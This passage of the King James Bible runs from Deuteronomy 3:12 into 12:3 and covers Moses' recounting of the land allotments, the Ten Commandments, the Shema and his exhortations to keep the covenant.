Gadites. + +3:13 And the rest of Gilead, and all Bashan, being the kingdom of Og, +gave I unto the half tribe of Manasseh; all the region of Argob, with +all Bashan, which was called the land of giants. + +3:14 Jair the son of Manasseh took all the country of Argob unto the +coasts of Geshuri and Maachathi; and called them after his own name, +Bashanhavothjair, unto this day. + +3:15 And I gave Gilead unto Machir. + +3:16 And unto the Reubenites and unto the Gadites I gave from Gilead +even unto the river Arnon half the valley, and the border even unto +the river Jabbok, which is the border of the children of Ammon; 3:17 +The plain also, and Jordan, and the coast thereof, from Chinnereth +even unto the sea of the plain, even the salt sea, under Ashdothpisgah +eastward. + +3:18 And I commanded you at that time, saying, The LORD your God hath +given you this land to possess it: ye shall pass over armed before +your brethren the children of Israel, all that are meet for the war. + +3:19 But your wives, and your little ones, and your cattle, (for I +know that ye have much cattle,) shall abide in your cities which I +have given you; 3:20 Until the LORD have given rest unto your +brethren, as well as unto you, and until they also possess the land +which the LORD your God hath given them beyond Jordan: and then shall +ye return every man unto his possession, which I have given you. + +3:21 And I commanded Joshua at that time, saying, Thine eyes have seen +all that the LORD your God hath done unto these two kings: so shall +the LORD do unto all the kingdoms whither thou passest. + +3:22 Ye shall not fear them: for the LORD your God he shall fight for +you. + +3:23 And I besought the LORD at that time, saying, 3:24 O Lord GOD, +thou hast begun to shew thy servant thy greatness, and thy mighty +hand: for what God is there in heaven or in earth, that can do +according to thy works, and according to thy might? 3:25 I pray thee, +let me go over, and see the good land that is beyond Jordan, that +goodly mountain, and Lebanon. + +3:26 But the LORD was wroth with me for your sakes, and would not hear +me: and the LORD said unto me, Let it suffice thee; speak no more unto +me of this matter. + +3:27 Get thee up into the top of Pisgah, and lift up thine eyes +westward, and northward, and southward, and eastward, and behold it +with thine eyes: for thou shalt not go over this Jordan. + +3:28 But charge Joshua, and encourage him, and strengthen him: for he +shall go over before this people, and he shall cause them to inherit +the land which thou shalt see. + +3:29 So we abode in the valley over against Bethpeor. + +4:1 Now therefore hearken, O Israel, unto the statutes and unto the +judgments, which I teach you, for to do them, that ye may live, and go +in and possess the land which the LORD God of your fathers giveth you. + +4:2 Ye shall not add unto the word which I command you, neither shall +ye diminish ought from it, that ye may keep the commandments of the +LORD your God which I command you. + +4:3 Your eyes have seen what the LORD did because of Baalpeor: for all +the men that followed Baalpeor, the LORD thy God hath destroyed them +from among you. + +4:4 But ye that did cleave unto the LORD your God are alive every one +of you this day. + +4:5 Behold, I have taught you statutes and judgments, even as the LORD +my God commanded me, that ye should do so in the land whither ye go to +possess it. + +4:6 Keep therefore and do them; for this is your wisdom and your +understanding in the sight of the nations, which shall hear all these +statutes, and say, Surely this great nation is a wise and +understanding people. + +4:7 For what nation is there so great, who hath God so nigh unto them, +as the LORD our God is in all things that we call upon him for? 4:8 +And what nation is there so great, that hath statutes and judgments so +righteous as all this law, which I set before you this day? 4:9 Only +take heed to thyself, and keep thy soul diligently, lest thou forget +the things which thine eyes have seen, and lest they depart from thy +heart all the days of thy life: but teach them thy sons, and thy sons' +sons; 4:10 Specially the day that thou stoodest before the LORD thy +God in Horeb, when the LORD said unto me, Gather me the people +together, and I will make them hear my words, that they may learn to +fear me all the days that they shall live upon the earth, and that +they may teach their children. + +4:11 And ye came near and stood under the mountain; and the mountain +burned with fire unto the midst of heaven, with darkness, clouds, and +thick darkness. + +4:12 And the LORD spake unto you out of the midst of the fire: ye +heard the voice of the words, but saw no similitude; only ye heard a +voice. + +4:13 And he declared unto you his covenant, which he commanded you to +perform, even ten commandments; and he wrote them upon two tables of +stone. + +4:14 And the LORD commanded me at that time to teach you statutes and +judgments, that ye might do them in the land whither ye go over to +possess it. + +4:15 Take ye therefore good heed unto yourselves; for ye saw no manner +of similitude on the day that the LORD spake unto you in Horeb out of +the midst of the fire: 4:16 Lest ye corrupt yourselves, and make you a +graven image, the similitude of any figure, the likeness of male or +female, 4:17 The likeness of any beast that is on the earth, the +likeness of any winged fowl that flieth in the air, 4:18 The likeness +of any thing that creepeth on the ground, the likeness of any fish +that is in the waters beneath the earth: 4:19 And lest thou lift up +thine eyes unto heaven, and when thou seest the sun, and the moon, and +the stars, even all the host of heaven, shouldest be driven to worship +them, and serve them, which the LORD thy God hath divided unto all +nations under the whole heaven. + +4:20 But the LORD hath taken you, and brought you forth out of the +iron furnace, even out of Egypt, to be unto him a people of +inheritance, as ye are this day. + +4:21 Furthermore the LORD was angry with me for your sakes, and sware +that I should not go over Jordan, and that I should not go in unto +that good land, which the LORD thy God giveth thee for an inheritance: +4:22 But I must die in this land, I must not go over Jordan: but ye +shall go over, and possess that good land. + +4:23 Take heed unto yourselves, lest ye forget the covenant of the +LORD your God, which he made with you, and make you a graven image, or +the likeness of any thing, which the LORD thy God hath forbidden thee. + +4:24 For the LORD thy God is a consuming fire, even a jealous God. + +4:25 When thou shalt beget children, and children's children, and ye +shall have remained long in the land, and shall corrupt yourselves, +and make a graven image, or the likeness of any thing, and shall do +evil in the sight of the LORD thy God, to provoke him to anger: 4:26 I +call heaven and earth to witness against you this day, that ye shall +soon utterly perish from off the land whereunto ye go over Jordan to +possess it; ye shall not prolong your days upon it, but shall utterly +be destroyed. + +4:27 And the LORD shall scatter you among the nations, and ye shall be +left few in number among the heathen, whither the LORD shall lead you. + +4:28 And there ye shall serve gods, the work of men's hands, wood and +stone, which neither see, nor hear, nor eat, nor smell. + +4:29 But if from thence thou shalt seek the LORD thy God, thou shalt +find him, if thou seek him with all thy heart and with all thy soul. + +4:30 When thou art in tribulation, and all these things are come upon +thee, even in the latter days, if thou turn to the LORD thy God, and +shalt be obedient unto his voice; 4:31 (For the LORD thy God is a +merciful God;) he will not forsake thee, neither destroy thee, nor +forget the covenant of thy fathers which he sware unto them. + +4:32 For ask now of the days that are past, which were before thee, +since the day that God created man upon the earth, and ask from the +one side of heaven unto the other, whether there hath been any such +thing as this great thing is, or hath been heard like it? 4:33 Did +ever people hear the voice of God speaking out of the midst of the +fire, as thou hast heard, and live? 4:34 Or hath God assayed to go +and take him a nation from the midst of another nation, by +temptations, by signs, and by wonders, and by war, and by a mighty +hand, and by a stretched out arm, and by great terrors, according to +all that the LORD your God did for you in Egypt before your eyes? +4:35 Unto thee it was shewed, that thou mightest know that the LORD he +is God; there is none else beside him. + +4:36 Out of heaven he made thee to hear his voice, that he might +instruct thee: and upon earth he shewed thee his great fire; and thou +heardest his words out of the midst of the fire. + +4:37 And because he loved thy fathers, therefore he chose their seed +after them, and brought thee out in his sight with his mighty power +out of Egypt; 4:38 To drive out nations from before thee greater and +mightier than thou art, to bring thee in, to give thee their land for +an inheritance, as it is this day. + +4:39 Know therefore this day, and consider it in thine heart, that the +LORD he is God in heaven above, and upon the earth beneath: there is +none else. + +4:40 Thou shalt keep therefore his statutes, and his commandments, +which I command thee this day, that it may go well with thee, and with +thy children after thee, and that thou mayest prolong thy days upon +the earth, which the LORD thy God giveth thee, for ever. + +4:41 Then Moses severed three cities on this side Jordan toward the +sunrising; 4:42 That the slayer might flee thither, which should kill +his neighbour unawares, and hated him not in times past; and that +fleeing unto one of these cities he might live: 4:43 Namely, Bezer in +the wilderness, in the plain country, of the Reubenites; and Ramoth in +Gilead, of the Gadites; and Golan in Bashan, of the Manassites. + +4:44 And this is the law which Moses set before the children of +Israel: 4:45 These are the testimonies, and the statutes, and the +judgments, which Moses spake unto the children of Israel, after they +came forth out of Egypt. + +4:46 On this side Jordan, in the valley over against Bethpeor, in the +land of Sihon king of the Amorites, who dwelt at Heshbon, whom Moses +and the children of Israel smote, after they were come forth out of +Egypt: 4:47 And they possessed his land, and the land of Og king of +Bashan, two kings of the Amorites, which were on this side Jordan +toward the sunrising; 4:48 From Aroer, which is by the bank of the +river Arnon, even unto mount Sion, which is Hermon, 4:49 And all the +plain on this side Jordan eastward, even unto the sea of the plain, +under the springs of Pisgah. + +5:1 And Moses called all Israel, and said unto them, Hear, O Israel, +the statutes and judgments which I speak in your ears this day, that +ye may learn them, and keep, and do them. + +5:2 The LORD our God made a covenant with us in Horeb. + +5:3 The LORD made not this covenant with our fathers, but with us, +even us, who are all of us here alive this day. + +5:4 The LORD talked with you face to face in the mount out of the +midst of the fire, 5:5 (I stood between the LORD and you at that time, +to shew you the word of the LORD: for ye were afraid by reason of the +fire, and went not up into the mount;) saying, 5:6 I am the LORD thy +God, which brought thee out of the land of Egypt, from the house of +bondage. + +5:7 Thou shalt have none other gods before me. + +5:8 Thou shalt not make thee any graven image, or any likeness of any +thing that is in heaven above, or that is in the earth beneath, or +that is in the waters beneath the earth: 5:9 Thou shalt not bow down +thyself unto them, nor serve them: for I the LORD thy God am a jealous +God, visiting the iniquity of the fathers upon the children unto the +third and fourth generation of them that hate me, 5:10 And shewing +mercy unto thousands of them that love me and keep my commandments. + +5:11 Thou shalt not take the name of the LORD thy God in vain: for the +LORD will not hold him guiltless that taketh his name in vain. + +5:12 Keep the sabbath day to sanctify it, as the LORD thy God hath +commanded thee. + +5:13 Six days thou shalt labour, and do all thy work: 5:14 But the +seventh day is the sabbath of the LORD thy God: in it thou shalt not +do any work, thou, nor thy son, nor thy daughter, nor thy manservant, +nor thy maidservant, nor thine ox, nor thine ass, nor any of thy +cattle, nor thy stranger that is within thy gates; that thy manservant +and thy maidservant may rest as well as thou. + +5:15 And remember that thou wast a servant in the land of Egypt, and +that the LORD thy God brought thee out thence through a mighty hand +and by a stretched out arm: therefore the LORD thy God commanded thee +to keep the sabbath day. + +5:16 Honour thy father and thy mother, as the LORD thy God hath +commanded thee; that thy days may be prolonged, and that it may go +well with thee, in the land which the LORD thy God giveth thee. + +5:17 Thou shalt not kill. + +5:18 Neither shalt thou commit adultery. + +5:19 Neither shalt thou steal. + +5:20 Neither shalt thou bear false witness against thy neighbour. + +5:21 Neither shalt thou desire thy neighbour's wife, neither shalt +thou covet thy neighbour's house, his field, or his manservant, or his +maidservant, his ox, or his ass, or any thing that is thy neighbour's. + +5:22 These words the LORD spake unto all your assembly in the mount +out of the midst of the fire, of the cloud, and of the thick darkness, +with a great voice: and he added no more. And he wrote them in two +tables of stone, and delivered them unto me. + +5:23 And it came to pass, when ye heard the voice out of the midst of +the darkness, (for the mountain did burn with fire,) that ye came near +unto me, even all the heads of your tribes, and your elders; 5:24 And +ye said, Behold, the LORD our God hath shewed us his glory and his +greatness, and we have heard his voice out of the midst of the fire: +we have seen this day that God doth talk with man, and he liveth. + +5:25 Now therefore why should we die? for this great fire will consume +us: if we hear the voice of the LORD our God any more, then we shall +die. + +5:26 For who is there of all flesh, that hath heard the voice of the +living God speaking out of the midst of the fire, as we have, and +lived? 5:27 Go thou near, and hear all that the LORD our God shall +say: and speak thou unto us all that the LORD our God shall speak unto +thee; and we will hear it, and do it. + +5:28 And the LORD heard the voice of your words, when ye spake unto +me; and the LORD said unto me, I have heard the voice of the words of +this people, which they have spoken unto thee: they have well said all +that they have spoken. + +5:29 O that there were such an heart in them, that they would fear me, +and keep all my commandments always, that it might be well with them, +and with their children for ever! 5:30 Go say to them, Get you into +your tents again. + +5:31 But as for thee, stand thou here by me, and I will speak unto +thee all the commandments, and the statutes, and the judgments, which +thou shalt teach them, that they may do them in the land which I give +them to possess it. + +5:32 Ye shall observe to do therefore as the LORD your God hath +commanded you: ye shall not turn aside to the right hand or to the +left. + +5:33 Ye shall walk in all the ways which the LORD your God hath +commanded you, that ye may live, and that it may be well with you, and +that ye may prolong your days in the land which ye shall possess. + +6:1 Now these are the commandments, the statutes, and the judgments, +which the LORD your God commanded to teach you, that ye might do them +in the land whither ye go to possess it: 6:2 That thou mightest fear +the LORD thy God, to keep all his statutes and his commandments, which +I command thee, thou, and thy son, and thy son's son, all the days of +thy life; and that thy days may be prolonged. + +6:3 Hear therefore, O Israel, and observe to do it; that it may be +well with thee, and that ye may increase mightily, as the LORD God of +thy fathers hath promised thee, in the land that floweth with milk and +honey. + +6:4 Hear, O Israel: The LORD our God is one LORD: 6:5 And thou shalt +love the LORD thy God with all thine heart, and with all thy soul, and +with all thy might. + +6:6 And these words, which I command thee this day, shall be in thine +heart: 6:7 And thou shalt teach them diligently unto thy children, and +shalt talk of them when thou sittest in thine house, and when thou +walkest by the way, and when thou liest down, and when thou risest up. + +6:8 And thou shalt bind them for a sign upon thine hand, and they +shall be as frontlets between thine eyes. + +6:9 And thou shalt write them upon the posts of thy house, and on thy +gates. + +6:10 And it shall be, when the LORD thy God shall have brought thee +into the land which he sware unto thy fathers, to Abraham, to Isaac, +and to Jacob, to give thee great and goodly cities, which thou +buildedst not, 6:11 And houses full of all good things, which thou +filledst not, and wells digged, which thou diggedst not, vineyards and +olive trees, which thou plantedst not; when thou shalt have eaten and +be full; 6:12 Then beware lest thou forget the LORD, which brought +thee forth out of the land of Egypt, from the house of bondage. + +6:13 Thou shalt fear the LORD thy God, and serve him, and shalt swear +by his name. + +6:14 Ye shall not go after other gods, of the gods of the people which +are round about you; 6:15 (For the LORD thy God is a jealous God among +you) lest the anger of the LORD thy God be kindled against thee, and +destroy thee from off the face of the earth. + +6:16 Ye shall not tempt the LORD your God, as ye tempted him in +Massah. + +6:17 Ye shall diligently keep the commandments of the LORD your God, +and his testimonies, and his statutes, which he hath commanded thee. + +6:18 And thou shalt do that which is right and good in the sight of +the LORD: that it may be well with thee, and that thou mayest go in +and possess the good land which the LORD sware unto thy fathers. + +6:19 To cast out all thine enemies from before thee, as the LORD hath +spoken. + +6:20 And when thy son asketh thee in time to come, saying, What mean +the testimonies, and the statutes, and the judgments, which the LORD +our God hath commanded you? 6:21 Then thou shalt say unto thy son, We +were Pharaoh's bondmen in Egypt; and the LORD brought us out of Egypt +with a mighty hand: 6:22 And the LORD shewed signs and wonders, great +and sore, upon Egypt, upon Pharaoh, and upon all his household, before +our eyes: 6:23 And he brought us out from thence, that he might bring +us in, to give us the land which he sware unto our fathers. + +6:24 And the LORD commanded us to do all these statutes, to fear the +LORD our God, for our good always, that he might preserve us alive, as +it is at this day. + +6:25 And it shall be our righteousness, if we observe to do all these +commandments before the LORD our God, as he hath commanded us. + +7:1 When the LORD thy God shall bring thee into the land whither thou +goest to possess it, and hath cast out many nations before thee, the +Hittites, and the Girgashites, and the Amorites, and the Canaanites, +and the Perizzites, and the Hivites, and the Jebusites, seven nations +greater and mightier than thou; 7:2 And when the LORD thy God shall +deliver them before thee; thou shalt smite them, and utterly destroy +them; thou shalt make no covenant with them, nor shew mercy unto them: +7:3 Neither shalt thou make marriages with them; thy daughter thou +shalt not give unto his son, nor his daughter shalt thou take unto thy +son. + +7:4 For they will turn away thy son from following me, that they may +serve other gods: so will the anger of the LORD be kindled against +you, and destroy thee suddenly. + +7:5 But thus shall ye deal with them; ye shall destroy their altars, +and break down their images, and cut down their groves, and burn their +graven images with fire. + +7:6 For thou art an holy people unto the LORD thy God: the LORD thy +God hath chosen thee to be a special people unto himself, above all +people that are upon the face of the earth. + +7:7 The LORD did not set his love upon you, nor choose you, because ye +were more in number than any people; for ye were the fewest of all +people: 7:8 But because the LORD loved you, and because he would keep +the oath which he had sworn unto your fathers, hath the LORD brought +you out with a mighty hand, and redeemed you out of the house of +bondmen, from the hand of Pharaoh king of Egypt. + +7:9 Know therefore that the LORD thy God, he is God, the faithful God, +which keepeth covenant and mercy with them that love him and keep his +commandments to a thousand generations; 7:10 And repayeth them that +hate him to their face, to destroy them: he will not be slack to him +that hateth him, he will repay him to his face. + +7:11 Thou shalt therefore keep the commandments, and the statutes, and +the judgments, which I command thee this day, to do them. + +7:12 Wherefore it shall come to pass, if ye hearken to these +judgments, and keep, and do them, that the LORD thy God shall keep +unto thee the covenant and the mercy which he sware unto thy fathers: +7:13 And he will love thee, and bless thee, and multiply thee: he will +also bless the fruit of thy womb, and the fruit of thy land, thy corn, +and thy wine, and thine oil, the increase of thy kine, and the flocks +of thy sheep, in the land which he sware unto thy fathers to give +thee. + +7:14 Thou shalt be blessed above all people: there shall not be male +or female barren among you, or among your cattle. + +7:15 And the LORD will take away from thee all sickness, and will put +none of the evil diseases of Egypt, which thou knowest, upon thee; but +will lay them upon all them that hate thee. + +7:16 And thou shalt consume all the people which the LORD thy God +shall deliver thee; thine eye shall have no pity upon them: neither +shalt thou serve their gods; for that will be a snare unto thee. + +7:17 If thou shalt say in thine heart, These nations are more than I; +how can I dispossess them? 7:18 Thou shalt not be afraid of them: but +shalt well remember what the LORD thy God did unto Pharaoh, and unto +all Egypt; 7:19 The great temptations which thine eyes saw, and the +signs, and the wonders, and the mighty hand, and the stretched out +arm, whereby the LORD thy God brought thee out: so shall the LORD thy +God do unto all the people of whom thou art afraid. + +7:20 Moreover the LORD thy God will send the hornet among them, until +they that are left, and hide themselves from thee, be destroyed. + +7:21 Thou shalt not be affrighted at them: for the LORD thy God is +among you, a mighty God and terrible. + +7:22 And the LORD thy God will put out those nations before thee by +little and little: thou mayest not consume them at once, lest the +beasts of the field increase upon thee. + +7:23 But the LORD thy God shall deliver them unto thee, and shall +destroy them with a mighty destruction, until they be destroyed. + +7:24 And he shall deliver their kings into thine hand, and thou shalt +destroy their name from under heaven: there shall no man be able to +stand before thee, until thou have destroyed them. + +7:25 The graven images of their gods shall ye burn with fire: thou +shalt not desire the silver or gold that is on them, nor take it unto +thee, lest thou be snared therin: for it is an abomination to the LORD +thy God. + +7:26 Neither shalt thou bring an abomination into thine house, lest +thou be a cursed thing like it: but thou shalt utterly detest it, and +thou shalt utterly abhor it; for it is a cursed thing. + +8:1 All the commandments which I command thee this day shall ye +observe to do, that ye may live, and multiply, and go in and possess +the land which the LORD sware unto your fathers. + +8:2 And thou shalt remember all the way which the LORD thy God led +thee these forty years in the wilderness, to humble thee, and to prove +thee, to know what was in thine heart, whether thou wouldest keep his +commandments, or no. + +8:3 And he humbled thee, and suffered thee to hunger, and fed thee +with manna, which thou knewest not, neither did thy fathers know; that +he might make thee know that man doth not live by bread only, but by +every word that proceedeth out of the mouth of the LORD doth man live. + +8:4 Thy raiment waxed not old upon thee, neither did thy foot swell, +these forty years. + +8:5 Thou shalt also consider in thine heart, that, as a man chasteneth +his son, so the LORD thy God chasteneth thee. + +8:6 Therefore thou shalt keep the commandments of the LORD thy God, to +walk in his ways, and to fear him. + +8:7 For the LORD thy God bringeth thee into a good land, a land of +brooks of water, of fountains and depths that spring out of valleys +and hills; 8:8 A land of wheat, and barley, and vines, and fig trees, +and pomegranates; a land of oil olive, and honey; 8:9 A land wherein +thou shalt eat bread without scarceness, thou shalt not lack any thing +in it; a land whose stones are iron, and out of whose hills thou +mayest dig brass. + +8:10 When thou hast eaten and art full, then thou shalt bless the LORD +thy God for the good land which he hath given thee. + +8:11 Beware that thou forget not the LORD thy God, in not keeping his +commandments, and his judgments, and his statutes, which I command +thee this day: 8:12 Lest when thou hast eaten and art full, and hast +built goodly houses, and dwelt therein; 8:13 And when thy herds and +thy flocks multiply, and thy silver and thy gold is multiplied, and +all that thou hast is multiplied; 8:14 Then thine heart be lifted up, +and thou forget the LORD thy God, which brought thee forth out of the +land of Egypt, from the house of bondage; 8:15 Who led thee through +that great and terrible wilderness, wherein were fiery serpents, and +scorpions, and drought, where there was no water; who brought thee +forth water out of the rock of flint; 8:16 Who fed thee in the +wilderness with manna, which thy fathers knew not, that he might +humble thee, and that he might prove thee, to do thee good at thy +latter end; 8:17 And thou say in thine heart, My power and the might +of mine hand hath gotten me this wealth. + +8:18 But thou shalt remember the LORD thy God: for it is he that +giveth thee power to get wealth, that he may establish his covenant +which he sware unto thy fathers, as it is this day. + +8:19 And it shall be, if thou do at all forget the LORD thy God, and +walk after other gods, and serve them, and worship them, I testify +against you this day that ye shall surely perish. + +8:20 As the nations which the LORD destroyeth before your face, so +shall ye perish; because ye would not be obedient unto the voice of +the LORD your God. + +9:1 Hear, O Israel: Thou art to pass over Jordan this day, to go in to +possess nations greater and mightier than thyself, cities great and +fenced up to heaven, 9:2 A people great and tall, the children of the +Anakims, whom thou knowest, and of whom thou hast heard say, Who can +stand before the children of Anak! 9:3 Understand therefore this day, +that the LORD thy God is he which goeth over before thee; as a +consuming fire he shall destroy them, and he shall bring them down +before thy face: so shalt thou drive them out, and destroy them +quickly, as the LORD hath said unto thee. + +9:4 Speak not thou in thine heart, after that the LORD thy God hath +cast them out from before thee, saying, For my righteousness the LORD +hath brought me in to possess this land: but for the wickedness of +these nations the LORD doth drive them out from before thee. + +9:5 Not for thy righteousness, or for the uprightness of thine heart, +dost thou go to possess their land: but for the wickedness of these +nations the LORD thy God doth drive them out from before thee, and +that he may perform the word which the LORD sware unto thy fathers, +Abraham, Isaac, and Jacob. + +9:6 Understand therefore, that the LORD thy God giveth thee not this +good land to possess it for thy righteousness; for thou art a +stiffnecked people. + +9:7 Remember, and forget not, how thou provokedst the LORD thy God to +wrath in the wilderness: from the day that thou didst depart out of +the land of Egypt, until ye came unto this place, ye have been +rebellious against the LORD. + +9:8 Also in Horeb ye provoked the LORD to wrath, so that the LORD was +angry with you to have destroyed you. + +9:9 When I was gone up into the mount to receive the tables of stone, +even the tables of the covenant which the LORD made with you, then I +abode in the mount forty days and forty nights, I neither did eat +bread nor drink water: 9:10 And the LORD delivered unto me two tables +of stone written with the finger of God; and on them was written +according to all the words, which the LORD spake with you in the mount +out of the midst of the fire in the day of the assembly. + +9:11 And it came to pass at the end of forty days and forty nights, +that the LORD gave me the two tables of stone, even the tables of the +covenant. + +9:12 And the LORD said unto me, Arise, get thee down quickly from +hence; for thy people which thou hast brought forth out of Egypt have +corrupted themselves; they are quickly turned aside out of the way +which I commanded them; they have made them a molten image. + +9:13 Furthermore the LORD spake unto me, saying, I have seen this +people, and, behold, it is a stiffnecked people: 9:14 Let me alone, +that I may destroy them, and blot out their name from under heaven: +and I will make of thee a nation mightier and greater than they. + +9:15 So I turned and came down from the mount, and the mount burned +with fire: and the two tables of the covenant were in my two hands. + +9:16 And I looked, and, behold, ye had sinned against the LORD your +God, and had made you a molten calf: ye had turned aside quickly out +of the way which the LORD had commanded you. + +9:17 And I took the two tables, and cast them out of my two hands, and +brake them before your eyes. + +9:18 And I fell down before the LORD, as at the first, forty days and +forty nights: I did neither eat bread, nor drink water, because of all +your sins which ye sinned, in doing wickedly in the sight of the LORD, +to provoke him to anger. + +9:19 For I was afraid of the anger and hot displeasure, wherewith the +LORD was wroth against you to destroy you. But the LORD hearkened unto +me at that time also. + +9:20 And the LORD was very angry with Aaron to have destroyed him: and +I prayed for Aaron also the same time. + +9:21 And I took your sin, the calf which ye had made, and burnt it +with fire, and stamped it, and ground it very small, even until it was +as small as dust: and I cast the dust thereof into the brook that +descended out of the mount. + +9:22 And at Taberah, and at Massah, and at Kibrothhattaavah, ye +provoked the LORD to wrath. + +9:23 Likewise when the LORD sent you from Kadeshbarnea, saying, Go up +and possess the land which I have given you; then ye rebelled against +the commandment of the LORD your God, and ye believed him not, nor +hearkened to his voice. + +9:24 Ye have been rebellious against the LORD from the day that I knew +you. + +9:25 Thus I fell down before the LORD forty days and forty nights, as +I fell down at the first; because the LORD had said he would destroy +you. + +9:26 I prayed therefore unto the LORD, and said, O Lord GOD, destroy +not thy people and thine inheritance, which thou hast redeemed through +thy greatness, which thou hast brought forth out of Egypt with a +mighty hand. + +9:27 Remember thy servants, Abraham, Isaac, and Jacob; look not unto +the stubbornness of this people, nor to their wickedness, nor to their +sin: 9:28 Lest the land whence thou broughtest us out say, Because the +LORD was not able to bring them into the land which he promised them, +and because he hated them, he hath brought them out to slay them in +the wilderness. + +9:29 Yet they are thy people and thine inheritance, which thou +broughtest out by thy mighty power and by thy stretched out arm. + +10:1 At that time the LORD said unto me, Hew thee two tables of stone +like unto the first, and come up unto me into the mount, and make thee +an ark of wood. + +10:2 And I will write on the tables the words that were in the first +tables which thou brakest, and thou shalt put them in the ark. + +10:3 And I made an ark of shittim wood, and hewed two tables of stone +like unto the first, and went up into the mount, having the two tables +in mine hand. + +10:4 And he wrote on the tables, according to the first writing, the +ten commandments, which the LORD spake unto you in the mount out of +the midst of the fire in the day of the assembly: and the LORD gave +them unto me. + +10:5 And I turned myself and came down from the mount, and put the +tables in the ark which I had made; and there they be, as the LORD +commanded me. + +10:6 And the children of Israel took their journey from Beeroth of the +children of Jaakan to Mosera: there Aaron died, and there he was +buried; and Eleazar his son ministered in the priest's office in his +stead. + +10:7 From thence they journeyed unto Gudgodah; and from Gudgodah to +Jotbath, a land of rivers of waters. + +10:8 At that time the LORD separated the tribe of Levi, to bear the +ark of the covenant of the LORD, to stand before the LORD to minister +unto him, and to bless in his name, unto this day. + +10:9 Wherefore Levi hath no part nor inheritance with his brethren; +the LORD is his inheritance, according as the LORD thy God promised +him. + +10:10 And I stayed in the mount, according to the first time, forty +days and forty nights; and the LORD hearkened unto me at that time +also, and the LORD would not destroy thee. + +10:11 And the LORD said unto me, Arise, take thy journey before the +people, that they may go in and possess the land, which I sware unto +their fathers to give unto them. + +10:12 And now, Israel, what doth the LORD thy God require of thee, but +to fear the LORD thy God, to walk in all his ways, and to love him, +and to serve the LORD thy God with all thy heart and with all thy +soul, 10:13 To keep the commandments of the LORD, and his statutes, +which I command thee this day for thy good? 10:14 Behold, the heaven +and the heaven of heavens is the LORD's thy God, the earth also, with +all that therein is. + +10:15 Only the LORD had a delight in thy fathers to love them, and he +chose their seed after them, even you above all people, as it is this +day. + +10:16 Circumcise therefore the foreskin of your heart, and be no more +stiffnecked. + +10:17 For the LORD your God is God of gods, and Lord of lords, a great +God, a mighty, and a terrible, which regardeth not persons, nor taketh +reward: 10:18 He doth execute the judgment of the fatherless and +widow, and loveth the stranger, in giving him food and raiment. + +10:19 Love ye therefore the stranger: for ye were strangers in the +land of Egypt. + +10:20 Thou shalt fear the LORD thy God; him shalt thou serve, and to +him shalt thou cleave, and swear by his name. + +10:21 He is thy praise, and he is thy God, that hath done for thee +these great and terrible things, which thine eyes have seen. + +10:22 Thy fathers went down into Egypt with threescore and ten +persons; and now the LORD thy God hath made thee as the stars of +heaven for multitude. + +11:1 Therefore thou shalt love the LORD thy God, and keep his charge, +and his statutes, and his judgments, and his commandments, alway. + +11:2 And know ye this day: for I speak not with your children which +have not known, and which have not seen the chastisement of the LORD +your God, his greatness, his mighty hand, and his stretched out arm, +11:3 And his miracles, and his acts, which he did in the midst of +Egypt unto Pharaoh the king of Egypt, and unto all his land; 11:4 And +what he did unto the army of Egypt, unto their horses, and to their +chariots; how he made the water of the Red sea to overflow them as +they pursued after you, and how the LORD hath destroyed them unto this +day; 11:5 And what he did unto you in the wilderness, until ye came +into this place; 11:6 And what he did unto Dathan and Abiram, the sons +of Eliab, the son of Reuben: how the earth opened her mouth, and +swallowed them up, and their households, and their tents, and all the +substance that was in their possession, in the midst of all Israel: +11:7 But your eyes have seen all the great acts of the LORD which he +did. + +11:8 Therefore shall ye keep all the commandments which I command you +this day, that ye may be strong, and go in and possess the land, +whither ye go to possess it; 11:9 And that ye may prolong your days in +the land, which the LORD sware unto your fathers to give unto them and +to their seed, a land that floweth with milk and honey. + +11:10 For the land, whither thou goest in to possess it, is not as the +land of Egypt, from whence ye came out, where thou sowedst thy seed, +and wateredst it with thy foot, as a garden of herbs: 11:11 But the +land, whither ye go to possess it, is a land of hills and valleys, and +drinketh water of the rain of heaven: 11:12 A land which the LORD thy +God careth for: the eyes of the LORD thy God are always upon it, from +the beginning of the year even unto the end of the year. + +11:13 And it shall come to pass, if ye shall hearken diligently unto +my commandments which I command you this day, to love the LORD your +God, and to serve him with all your heart and with all your soul, +11:14 That I will give you the rain of your land in his due season, +the first rain and the latter rain, that thou mayest gather in thy +corn, and thy wine, and thine oil. + +11:15 And I will send grass in thy fields for thy cattle, that thou +mayest eat and be full. + +11:16 Take heed to yourselves, that your heart be not deceived, and ye +turn aside, and serve other gods, and worship them; 11:17 And then the +LORD's wrath be kindled against you, and he shut up the heaven, that +there be no rain, and that the land yield not her fruit; and lest ye +perish quickly from off the good land which the LORD giveth you. + +11:18 Therefore shall ye lay up these my words in your heart and in +your soul, and bind them for a sign upon your hand, that they may be +as frontlets between your eyes. + +11:19 And ye shall teach them your children, speaking of them when +thou sittest in thine house, and when thou walkest by the way, when +thou liest down, and when thou risest up. + +11:20 And thou shalt write them upon the door posts of thine house, +and upon thy gates: 11:21 That your days may be multiplied, and the +days of your children, in the land which the LORD sware unto your +fathers to give them, as the days of heaven upon the earth. + +11:22 For if ye shall diligently keep all these commandments which I +command you, to do them, to love the LORD your God, to walk in all his +ways, and to cleave unto him; 11:23 Then will the LORD drive out all +these nations from before you, and ye shall possess greater nations +and mightier than yourselves. + +11:24 Every place whereon the soles of your feet shall tread shall be +yours: from the wilderness and Lebanon, from the river, the river +Euphrates, even unto the uttermost sea shall your coast be. + +11:25 There shall no man be able to stand before you: for the LORD +your God shall lay the fear of you and the dread of you upon all the +land that ye shall tread upon, as he hath said unto you. + +11:26 Behold, I set before you this day a blessing and a curse; 11:27 +A blessing, if ye obey the commandments of the LORD your God, which I +command you this day: 11:28 And a curse, if ye will not obey the +commandments of the LORD your God, but turn aside out of the way which +I command you this day, to go after other gods, which ye have not +known. + +11:29 And it shall come to pass, when the LORD thy God hath brought +thee in unto the land whither thou goest to possess it, that thou +shalt put the blessing upon mount Gerizim, and the curse upon mount +Ebal. + +11:30 Are they not on the other side Jordan, by the way where the sun +goeth down, in the land of the Canaanites, which dwell in the +champaign over against Gilgal, beside the plains of Moreh? 11:31 For +ye shall pass over Jordan to go in to possess the land which the LORD +your God giveth you, and ye shall possess it, and dwell therein. + +11:32 And ye shall observe to do all the statutes and judgments which +I set before you this day. + +12:1 These are the statutes and judgments, which ye shall observe to +do in the land, which the LORD God of thy fathers giveth thee to +possess it, all the days that ye live upon the earth. + +12:2 Ye shall utterly destroy all the places, wherein the nations +which ye shall possess served their gods, upon the high mountains, and +upon the hills, and under every green tree: 12:3 And ye shall +overthrow their altars, and break their pillars, 